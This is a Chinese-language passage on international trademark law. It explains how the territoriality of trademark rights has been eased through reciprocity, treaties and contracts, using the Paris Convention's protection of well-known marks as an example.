(3)商标权的所谓地域**曾被认为是制约国际商标法律冲突的主要原因,但这已在许多方面获得了突破,其实质是各国在一定条件下对外国商标法律效力给予了承认。归纳起来主要有以下几种方式:① 通过各国国内立法(包括冲突法),规定在互惠的基础上承认外国商标权;② 通过签订双边协定或多边公约的形式,使商标权在更多的国家和地区获得承认;③ 不同国家的当事人通过合同的形式将商标权内容纳入其中,使承认和保护外国的或对方当事人的知识产权成为一种合同义务,并通过国家对合同的审批和管理程序而使这种义务得到国家的确认并在该国境内具有普遍的效力。这种突破在驰名商标的保护方面表现得最为典型。如《巴黎公约》规定,任何成员国有义务保护驰名商标,即使该驰名商标尚未在提供法律保护的成员国注册。当然,这种解决有赖于国际上对驰名商标的构成条件达成一致。因此,由于不存在可以统一的处罚和救济标准,这种观点在那时实际上也是没有什么帮助的,但却反映了所谓地域**最初就不是绝对的。